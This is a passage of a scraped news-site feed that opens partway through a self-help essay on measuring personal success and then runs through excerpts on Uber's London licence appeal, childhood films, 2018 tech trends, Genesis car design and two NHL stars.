Studies have found that when people through major events—be it winning the lottery, getting a promotion, winning a prize— they report that their happiness doesn’t last long after winning. They feel a temporary high which wears off rather quickly.

Another interesting study has found that bronze medalist are actually much happier than the silver medalists.((Scientific American: Why Bronze Medalists Are Happier Than Silver Winners)) Although counter-intuitive at first thought, according to the research, such individuals engage in “counterfactual thinking.” That is, they compare against what may have been (not winning a medal at all).

It’s all in the mind and how we perceive the world to be—winning vs. losing, success vs. failure, beautiful vs. unattractive. It’s often all in the eye of the beholder, it seems.

How to find your own ruler

So, an open question still remains—what if you work in, say, a charity organization or a shelter, making a modest salary but are able to help many people? Are you successful or not?

What about someone like Vincent Van Gogh who produced more than 900 paintings in his lifetime but was only able to sell one? Then, you also have Emily Dickinson, Franz Kafka, Stieg Larson, Oscar Wilde—all of whom were unrecognized during their lifetimes. To the world, they were far from thriving.

But what if you applied another measure?

What if you are Van Gogh and you set a goal for yourself that you will finish one painting per month? You achieve your goal. Are you successful in finishing what you set your sight on? Absolutely.

What if you manage to produce two paintings a month instead of one. Are you successful? Of course—you overachieved.

So, it’s perhaps possible to accept that to himself Van Gogh was a successful painter. He was very productive and focused.

More importantly, though, he was very fortunate to do what he loved, it brought him fulfillment and satisfaction. It gave meaning to his life, although not any wealth or appraisal from others.

The true measures of success

The main reason why external measures of success are flawed is that they were created by someone else. So faring our achievements against these artificial standards means that we evaluate ourselves against a bar which someone else created for us.

Rather, doesn’t it make more sense to measure success according to our own ruler—whether we find what we do meaningful to us, whether it helps others’ lives improve and whether we have more happy memories than regrets at the end of our lives?

Research tells us that people on t heir death beds have the following regrets—have the courage to live a life true to yourself, not to others’ expectations; don’t work so hard; have the courage to express your true feelings; stay in touch with your friends; let yourself be happy.((Business Insider: The 5 Things People Regret Most On Their Deathbed))

So, meaningful life and success, by extension, have nothing to do with wealth, fame, number of claps of social media, number of houses or expensive cars one has.

But they have everything to do with working on what makes us happy, with living the way it makes most sense to us and surrounding ourselves with people who bring love and warmth to our lives.

How to evaluate your success the right way

One very important thing to grasp is that being successful doesn’t always have to be measured in tangible terms, especially not the ones created by others.

That is—make your own standards if you don’t want to be stuck in a perpetual “why-others-have-more” spinning wheel.

You will know if you’ve “made it” if:

  • You love your life in general. You have a purpose and what you do is meaningful to you.
  • You are proud of yourself for what you have accomplished so far.
  • You do something bigger than you. You touch others’ lives and make them better.
  • You have people who care about you (and you care about) with whom you share your achievements. You don’t have to advertise your victories to the whole world—just to those who will be really able to share your joy and appreciate your hard work.
  • You see progress. You are not stuck in the status quo, you are evolving and improving.

However, it may be true that you still need some external point of reference to know how you are doing. For instance, how to know how smart you are, or how good you are at math, at managing your finances, or dealing with people?

One way to answer this is by measuring up against past precedents or to others in similar situations and settings. But external comparisons must be approached with caution—you must be carefully selective about who you weigh yourselfs against and the dimensions you elect to measure up to.

First and foremost, though, whenever possible, you must value your achievements against your past self.

Summing it all up

The best way to measure success is to define what it means and looks like to you, and then assess your progress against these goals.

For instance, success for someone may be to publish their first book. Once you have this aspiration, break it down in smaller bite-size tasks—say, you commit to write 500 words every day. You check yourself against the aim you yourself set for you.

For another person, success may be to become a millionaire—again—figure out the steps you need to take to get there and follow through. Or perhaps you want to finish a marathon. Then commit to run every day, gradually increasing the distance.

And if you fall short, don’t beat yourself up. Remember that success may be also viewed as simply trying, moving, taking action.

Final take-aways:

  • Drive is more important than the outcome for success—or as they say, it’s about the journey as much as the destination.
  • Success may be in the eye of the beholder, but there are some universal ways to measure it—namely, through progress, fulfillment and self-pride.
  • Success doesn’t recognition from the world. If it comes, then all the better. But it’s not a pre-requisite to feel that you have accomplished what you have set out for yourself or that you have made the world a better place.
  • And let’s not forget the good-old fear of failure. It is as Stephen Richards says: “The true measure of success is how many times you can bounce back from failure.” It’s not about never experiencing a setback or a stormy day, it’s about learning to dance in the rain.

If what you do makes you happy, content and motivated to achieve more, then, my friend, you are succeeding.

Or, as the great Maya Angelou beautifully said it:

“Success is liking yourself, liking what you do, and liking how you do it.”

It’s that simple, really.

]]> https://briefnews.eu/is-there-a-true-measure-of-success-how-to-define-your-own/feed/ 0 Uber begins the fight to keep its London licence on Monday, and it’s a battle that could define the whole company https://briefnews.eu/uber-begins-the-fight-to-keep-its-london-licence-on-monday-and-its-a-battle-that-could-define-the-whole-company/ https://briefnews.eu/uber-begins-the-fight-to-keep-its-london-licence-on-monday-and-its-a-battle-that-could-define-the-whole-company/#respond Sun, 24 Jun 2018 06:22:08 +0000 http://briefnews.eu/uber-begins-the-fight-to-keep-its-london-licence-on-monday-and-its-a-battle-that-could-define-the-whole-company/ Dara Khosrowshahi smile 2Getty

  • Uber will appear in court to appeal the loss of its operator’s licence in London on Monday.
  • The case has big ramifications because London basically represents Uber’s entire business in the UK.
  • London’s transport regulator decided to revoke Uber’s licence because of the company’s record on safety — meaning there’s a chance Uber could be kicked out of London.
  • But Uber’s in with a fighting chance to reverse the decision because it’s proactively made positive changes to its business.

Uber’s fight to stay operational in London will begin in earnest on Monday morning, in a court case that has ramifications for its entire business.

It’s a major test for chief executive Dara Khosrowshahi, and the changes he has implemented to the ride-hailing company to appease public and regulatory criticism around the world.

See the rest of the story at Business Insider

NOW WATCH: What would happen if America’s Internet went down

See Also:

SEE ALSO: Uber will have to wait until April 2018 to appeal the loss of its London licence

]]> https://briefnews.eu/uber-begins-the-fight-to-keep-its-london-licence-on-monday-and-its-a-battle-that-could-define-the-whole-company/feed/ 0 Motor Neurone Disease: Lucy Lintott was diagnosed at 19 – ‘I won’t let it define me’ https://briefnews.eu/motor-neurone-disease-lucy-lintott-was-diagnosed-at-19-i-wont-let-it-define-me/ https://briefnews.eu/motor-neurone-disease-lucy-lintott-was-diagnosed-at-19-i-wont-let-it-define-me/#respond Sat, 14 Apr 2018 14:07:36 +0000 http://briefnews.eu/motor-neurone-disease-lucy-lintott-was-diagnosed-at-19-i-wont-let-it-define-me/

AS LUCY LINTOTT carried two Sunday roast dinners through the restaurant the waitress’s life could not have been further removed from that of the eminent theoretical physicist Professor Stephen Hawking living 400 miles away in Cambridge.

]]> https://briefnews.eu/motor-neurone-disease-lucy-lintott-was-diagnosed-at-19-i-wont-let-it-define-me/feed/ 0 /Answers: The Movies That Define Our Childhood https://briefnews.eu/answers-the-movies-that-define-our-childhood/ https://briefnews.eu/answers-the-movies-that-define-our-childhood/#respond Sat, 31 Mar 2018 15:23:56 +0000 http://briefnews.eu/answers-the-movies-that-define-our-childhood/ ready player one box office

Every week in /Answers, we answer a new pop culture-related question. In this edition, tying in with the release of Ready Player One, we ask “What movie defines your childhood? What nostalgic favorite floats to the top of your brain whenever your think back on your early film fandom?”

Vanessa Bogart: Labyrinth

My dad was a music fanatic and indoctrinated us into the gospel of David Bowie at a young age. Like the chicken and the egg, I don’t actually know what came first for me when I was little, Ziggy Stardust or Jareth the Goblin King. Music and movies are deeply rooted in our family relationships, and Labyrinth encompassed both. In a six person family, I am the youngest of four kids. I idolized my older siblings growing up, and while there are many movies that we call “Bogart Family Classics,” Labyrinth is the one that always made me feel closest with my sister and my two older brothers.

No matter how cool my big brothers were, “Magic Dance” always turned into a singalong. I remember my sister and I spying on our brothers watching Labyrinth and giggling at these two metal shirt-wearing teenagers singing the different parts, but it always made me feel extra special when the four of us would watch it together and it became a family musical number.

I still watch Labyrinth multiple times a year, even though I am still terrified of the fire puppets, and the sight of David Bowie now brings a swift tear to my eye. So engrained in our upbringing, the loss of Bowie was felt like a shockwave through our house. While it is a classic all on its own, nothing evokes that deep nostalgic feeling of when we all lived under one roof quite like Labyrinth.

Ethan Anderton: Teenage Mutant Ninja Turtles

There is no VHS that I watched more as a kid than the original Teenage Mutant Ninja Turtles from 1990. Though Ferris Bueller’s Day Off and Willy Wonka and the Chocolate Factory gave it a run for its money, neither of those movies had a line of toys for me to obsess over and recreate the scenes from the movie. It was the first franchise that I loved, so much that I went as Donatello for Halloween one year. Every dowel rod I found became a bo staff. My cake for my sixth birthday had Raphael on it. I watched the animated series every Saturday morning. I sought out as many action figures and vehicles as I could. It was my first love and passion.

The movie also helped shape my expectations for what I expected from the franchise I loved. The sequels that followed the original ended up being disappointing to me, even at a young age. This experience would begin to define my love for movies and the development of characters, even if I didn’t understand the intricacies of the franchise’s evolution (or devolution) just yet. But perhaps more important, it also just made me enjoy the hell out of my childhood and connected me to friends who loved exactly what I love. It was my first time being a literal fanboy, and it’s only escalated since then.

Hoai-Tran Bui: Kiki’s Delivery Service

I could list any Disney movie from the ’90s as one that defines my childhood, but the first movie that comes to mind is from an entirely different animation studio: Kiki’s Delivery Service. Funnily enough, for a long time I didn’t even own it. Kiki’s Delivery Service was a movie that was a special treat for me whenever I visited my grandparents’ house, the beat-up VHS nestled in her basement waiting for me to watch it for the 100th time. My grandma always kept a collection of movies for me and my little sister whenever we visited, which was often. She only lived 30 minutes from us, and she would babysit me and my little sister almost every other week.

As soon as I arrived at my grandparents’ house, I would rush downstairs and throw on Kiki’s Delivery Service. It was more than just a movie I watched to pass the time while I hung out with my grandparents. It changed my life. Long before I knew what anime was, it would set me down a path of unhealthily obsessing over Hayao Miyazaki movies, and of wearing dark witchy clothing. I connected with the young, go-getter Kiki as she set of on a daunting year of independent living at 13 years old. And I connected even more deeply when she lost her way and thus her powers. (Yes, I was a very introspective 7-year-old.) Kiki was the first time I saw a heroine who was so much like me: a young, naive girl who messed up more than she succeeded, who got embarrassed, who loved pancakes. We even had the same haircut! Yes, she had superpowers, but she was so much more ordinary than any Disney heroine I had ever seen in my short life.

And because I only ever watched Kiki’s Delivery Service at my grandparents’ house, the movie became like a warm security blanket. Even as my grandparents’ basement collected dust, as the videotape became so grainy that it became nigh unwatchable, Kiki’s Delivery Service was to me those lazy, happy years when I slept over at my grandparents’ house and could stay up as late as I wanted. Or as late as I could — which was usually before 9 p.m. When my grandma moved out of that house a few years ago and threw away the old VHS tapes, I bought a DVD of Kiki’s Delivery Service. It wasn’t quite the same — there was no crackling of white noise right before the movie started, the picture is now crystal clear — but it still brings me the same flood of nostalgia every time. And yes, I can still sing every word to Sydney Forest’s “Soaring.”

Continue Reading Our Favorite Childhood Movies >>

The post /Answers: The Movies That Define Our Childhood appeared first on /Film.

]]> https://briefnews.eu/answers-the-movies-that-define-our-childhood/feed/ 0 12 tech trends that will define 2018 https://briefnews.eu/12-tech-trends-that-will-define-2018/ https://briefnews.eu/12-tech-trends-that-will-define-2018/#respond Wed, 20 Dec 2017 23:41:26 +0000 http://briefnews.eu/12-tech-trends-that-will-define-2018/ Elon MuskReuters/Noah Berger

No one can predict how the future will shake out, but we can make some educated guesses.

Global design and strategy firm frog has shared with Business Insider its forecasts for the technologies that will define the upcoming year. Last year, the firm correctly predicted that buildings would harness the power of nature and that businesses would continue using artificially-intelligent bots to run efficiently.

Get ready to step into the future.

Artificial intelligence will inspire how products are designed

Reuters/Yuya Shino

Companies like Airbnb and Netflix already infuse AI into their products in a host of ways, generally to the customer’s benefit.

Senior strategist Viral Shah and technology director Matteo Penzo believe 2018 will see far more companies centering their product design around the best use of AI.

“As AI becomes embedded into our products and services,” they wrote, “designers are tasked not just with creating machines for humans, but creating machines that are human-like.”

Other companies will join Google in the ‘Algorithm Hall of Fame’

Volvo

Google’s PageRank feature — the search engine’s ability to display the optimal results consistently at the top — may be the company’s greatest achievement using algorithms.

Frog’s principal solutions architect, Gonzalo Garcia-Perate, expects other companies to make similar leaps in 2018. They will join Google in the “Algorithm Hall of Fame,” he wrote.

He said likely candidates include the first company to achieve full vehicle autonomy or create platforms to make universal basic income a possibility.

Virtual and augmented reality will become communal experiences

AP/Christof Stache

Right now, virtual reality is a pretty isolating experience. You put on a headset and immerse yourself in a world that only you inhabit.

Going forward, says frog visual designer Seth Mach, VR (and its cousin, augmented reality, or AR) will allow people to explore untold worlds together. They’ll get to play, work, and explore communally — in alternate realities.

“Soon, instead of being lone travelers on our augmented and virtual journeys, we’ll have friends along for the ride,” he wrote.


See the rest of the story at Business Insider

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]]> https://briefnews.eu/12-tech-trends-that-will-define-2018/feed/ 0 Genesis Design Chief Tells Us How He’ll Define the New Luxury Brand’s Style https://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style-2/ https://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style-2/#respond Fri, 24 Nov 2017 17:42:51 +0000 http://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style-2/ –Genesis GV80 concept–Genesis GV80 concept–Genesis GV80 concept–Genesis GV80 concept–Genesis GV80 concept–Genesis GV80 concept–Genesis GV80 concept–Genesis GV80 concept–Genesis concept–Genesis concept–Genesis G70–Genesis G70–Genesis G70–Genesis G70–Genesis G70–Genesis G70–Luc Donckerwolke—

Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style-2/feed/ 0 Genesis Design Chief Tells Us How He’ll Define the New Luxury Brand’s Style https://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style/ https://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style/#respond Fri, 24 Nov 2017 15:43:29 +0000 http://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style/ Genesis GV80 concept

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It has been just about two years since Genesis became a brand instead of only a Hyundai model name, marking the Korean company’s full arrival in the luxury class. But where the G80 and G90 were still conceived in the Hyundai Genesis era, it is up to the next generation of models to assert the newfound position. A central part of that is the new design language currently being developed under Genesis chief designer Luc Donckerwolke. After spending most of his career within the Volkswagen Group and having served as chief designer of Lamborghini, Seat, and Bentley, Donckerwolke is aggressively putting together a global team.

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“Genesis was born out of Hyundai, and now we are splitting the brands, creating teams, but at the same time keeping synergies,” said Donckerwolke. “We are synchronizing the brands, and that is the only way to make sure we don’t overlap.”

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Genesis G70

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The Genesis and Hyundai design teams have already been separated in Korea and in the United States. “But we are not doubling all the functions, because then it would be impossible to have a constant flow of information,” he clarified. Donckerwolke has created the Global Genesis Advanced Studio in Europe, led by Sasha Selipanov. It is possible that Genesis will create its own design studios in other markets, including China, Japan, and India, he said.

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A New Style

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In September, Genesis launched the G70 sports sedan. It was designed before Donckerwolke joined the brand, but he said he likes it: “It is a really good, sexy car with ideal proportions.”

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A better preview of where Donckerwolke wants to take Genesis was provided by the SUV concept GV80, unveiled at the New York auto show in April. Aiming to convey “athletic elegance,” the GV80 features pronounced rear-wheel-drive proportions, with a short front overhang, a long rear overhang, a cabin pushed back to increase the distance between the front axle and the windshield, and muscular curves concentrated above the large wheel arches. There is a horizontal line arched along the entire side, slightly dropping in the rear as on a classic luxury car; Donckerwolke described it as “la parabólica” and “slightly anti-wedge.” And he explained, “We optimized the proportions so we need to apply less makeup.”

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Genesis GV80 concept

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Many unusual details on the GV80 provide explicit leads to future Genesis styling. Perhaps the most prominent is the design of the head- and taillights: “These quad lights will become our signature,” said Donckerwolke. And the signature grille will not have a hexagonal shape but assume the look of a crest, as seen on the concept.

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“You will see an evolution,” said Donckerwolke. “There will be no Russian-doll syndrome. We will not have such a strong similarity between generations, so that people will actually know what is the new car. But the theme will be the same.” We take the “Russian doll” comment as a swipe at the German premium carmakers.

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Next Models Retain Rear-Wheel Drive

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The lineup, which currently consists of the aging G80 and its G90 derivative as well as the new G70, will be aggressively expanded. We expect three new models by 2020, all of them with rear-wheel drive; beyond that, we could see electrics. “A couple of years ago, I would have said that Genesis will be exclusively a rear-wheel-drive brand, but electrification changes the situation,” said Donckerwolke. Meanwhile, he said, he is happy expanding the portfolio of conventionally powered cars: “We are enjoying the privilege of working on a platform that everyone would like to have.”

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By the time the next three models arrive, Donckerwolke could have additional responsibilities: His friend and mentor Peter Schreyer, who oversees the design of the entire family of Hyundai, Kia, and Genesis brands, turns 65 next year.

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Genesis-Design-Direction-Reel

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]]> https://briefnews.eu/genesis-design-chief-tells-us-how-hell-define-the-new-luxury-brands-style/feed/ 0 No One Knows How to Define ‘Self-Driving Car’ — And It’s Becoming a Problem https://briefnews.eu/no-one-knows-how-to-define-self-driving-car-and-its-becoming-a-problem/ https://briefnews.eu/no-one-knows-how-to-define-self-driving-car-and-its-becoming-a-problem/#respond Thu, 12 Oct 2017 16:16:50 +0000 http://briefnews.eu/no-one-knows-how-to-define-self-driving-car-and-its-becoming-a-problem/ A new study shows consumers have no clue about how different autonomous features work.


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]]> https://briefnews.eu/no-one-knows-how-to-define-self-driving-car-and-its-becoming-a-problem/feed/ 0 Award nominees McDavid, Matthews already starting to define NHL's next generation https://briefnews.eu/award-nominees-mcdavid-matthews-already-starting-to-define-nhls-next-generation/ https://briefnews.eu/award-nominees-mcdavid-matthews-already-starting-to-define-nhls-next-generation/#respond Wed, 21 Jun 2017 15:53:49 +0000 http://briefnews.eu/award-nominees-mcdavid-matthews-already-starting-to-define-nhls-next-generation/

Wayne Gretzky and Bobby Orr made sure they were in Toronto to witness the first NHL meeting between Connor McDavid and Auston Matthews.

McDavid and Matthews didn’t see what the big deal was, but to those on the outside the significance was clear. This was the first meeting between the two players who will define the next generation in the NHL, much as Sidney Crosby and Alex Ovechkin repped the league for the past dozen years and Mario Lemieux and the Great One did before that.

“I really think that those two kids, Auston and Connor — both No. 1 picks overall — they’ve accepted their responsibility and their role, not only to the teams, but to the league,” Gretzky said hours before Matthews’ Leafs topped McDavid’s Oilers in overtime on the first of November.

The page has now begun to turn from Crosby and Ovechkin toward McDavid and Matthews, who were each nominated for a major NHL award this season.

Like Crosby before him, McDavid is poised to win the Hart Trophy as league MVP in just his second season and become the first Oiler to do so since Mark Messier in 1990. He was the only NHLer to hit the 100-point plateau and only the fifth player in the last 20 years to pot at least 30 goals and 70 assists in one season — joining Lemieux, Crosby, Jaromir Jagr and Evgeni Malkin.

The youngest captain in NHL history also became the third youngest scoring champ and a reason to stop and stare at the TV any time he appeared on screen.

Matthews needed less than two periods to become must-watch himself, with the first four-goal debut ever. He would go on to become only the sixth teenage rookie to score 40 goals, including a league-leading 32 at even-strength. His 40 goals and 69 points were records for a first-year Leaf and he’s rightly expected to win the first Calder trophy for Toronto in 51 years.

For as much as their potential unites them, McDavid and Matthews have plenty that differentiates them as well — just like Crosby and Ovechkin.

Crosby was the humble, clean-cut Canadian known to say and do the right thing; Ovechkin was brash and bold, the Russian unafraid to buck the trend. Ovechkin scored with a big, heavy shot while Crosby seemed to pick the game apart with his mind and sheer will.

McDavid manipulates the ice

McDavid, meanwhile, makes his way by manipulating the ice with uncanny vision, skill and this “one extra gear that I don’t think I’ve ever seen on a hockey player”, as Gretzky once described it. Matthews is more about power through quickness, a video-game-like ability to handle the puck and a six foot three, 216-pound frame.

“He’s so fast and explosive,” Matthews said of McDavid, his linemate with Team North America at last fall’s World Cup of Hockey. “Nobody’s really ever seen a player that can skate the way he can.”

Their origins differ too.

McDavid hails from just outside the hockey hub of Toronto, a prodigy fans spent years waiting to see. Matthews came from nowhere in hockey terms, an American from the Arizona desert.

McDavid, tellingly, hadn’t gotten a glimpse of Matthews until he saw him play at the world junior championships in 2016 — months before the Leafs made him their first No. 1 overall pick since 1985. Matthews got wind of McDavid, who went No. 1 to Edmonton a year earlier, when he was drafted into the Ontario Hockey League at age 15 with exceptional status.

“I think I actually played him when I was younger, but you’re not really knowing who anybody is when you’re 10, 11-years-old,” Matthews said.

Crosby and Ovechkin quickly dragged their teams in the NHL’s elite class and McDavid and Matthews already have their clubs pointed in similar directions. McDavid led the Oilers to their first playoff appearance in more than a decade and a first round win over the San Jose Sharks.

Matthews was the guiding force in the Leafs’ second post-season appearance since 2004 and near upending of Ovechkin’s Capitals in the first round.

No two teams, arguably, boast more long-term potential for Stanley Cups than Edmonton and Toronto and it’s because of the two stars leading the charge. The league will draw more eyeballs to various screens as a result and more dollars to the coffers because of tickets and merchandise.

It was the American who actually finished with the NHL’s fourth-highest selling jersey, a touch better than McDavid’s No. 97 in sixth spot.

“I definitely don’t consider him a rival,” McDavid said before that first meeting. “I think it would be a lot easier for (the media) if I came in here and said ‘I hate him! Blah, blah, blah.’ But he’s a good kid. I’m excited to play against him.”

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